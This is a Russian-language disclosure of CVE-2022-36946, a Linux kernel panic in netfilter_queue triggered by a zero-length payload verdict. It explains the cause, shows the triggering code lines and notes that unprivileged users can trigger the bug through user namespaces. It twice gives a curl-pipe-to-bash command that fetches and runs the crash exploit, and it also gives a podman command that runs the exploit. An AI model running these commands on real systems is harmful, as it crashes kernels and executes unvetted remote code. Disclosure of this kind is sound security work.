
CVE-2022-36946 паника ядра Linux в netfilter_queue
Сообщили: Domingo Dirutigliano и Nicola Guerrera
Работая над firegex, нашим межсетевым экраном для CTF-соревнований в формате Attack-Defence, мы наткнулись на несколько паник ядра.
Это странное поведение было изолировано и проанализировано, что привело к обнаружению потенциальной уязвимости в модуле netfilter, а именно в nfnetlink.
Паника ядра происходит при отправке вердикта nf_queue с атрибутом nfta_payload нулевого размера.
nlh = nfq_nlmsg_put(buf, NFQNL_MSG_VERDICT, queue_num);
nfq_nlmsg_verdict_put_pkt(nlh, NULL, 0);
nfq_nlmsg_verdict_put(nlh, 1, NF_ACCEPT );
Это происходит потому, что стек IP/IPv6 извлекает заголовок IP(v6) из пакета после входного хука.
Таким образом, если пользователь обрезает пакет до размера меньше заголовка, вызов skb_pull() приведёт к повреждению skb и вызовет панику.
Попробуйте выполнить curl -sLf https://pwnzer0tt1.it/cve-2022-36946.sh | bash также от имени непривилегированного пользователя (подробнее ниже).
Используя пространства имён (namespaces) Linux, в частности пользовательские пространства имён (включаемые через kernel.unprivileged_userns_clone=1), обычный пользователь может создать сетевое пространство имён, что позволит ему использовать те же примитивы ядра, которые вызывают панику.
Это позволит использовать уязвимость без прав root.
Это не редкий сценарий: например, podman использует эту опцию для запуска своих (rootless) контейнеров, и на некоторых дистрибутивах эта опция включена по умолчанию.
Вы также можете попробовать выполнить эксплойт без прав root, выполнив:
podman run -it --cap-add NET_ADMIN ghcr.io/pwnzer0tt1/cve-2022-36946
или если вы хотите протестировать его на лету (требуются только tar и curl):
curl -sLf https://pwnzer0tt1.it/cve-2022-36946.sh | bash
Исправлено в ядре Linux 5.19 посмотреть diff
Оригинальный патч от команды безопасности ядра Linux здесь
Оно сработало с 6-й попытки, поэтому мы оставили это название.

https://docs.google.com/presentation/d/1SoSFxpfQ02_ZkLKFMxpkgst3F56sBiQN3FfNfTutxUs/edit?usp=sharing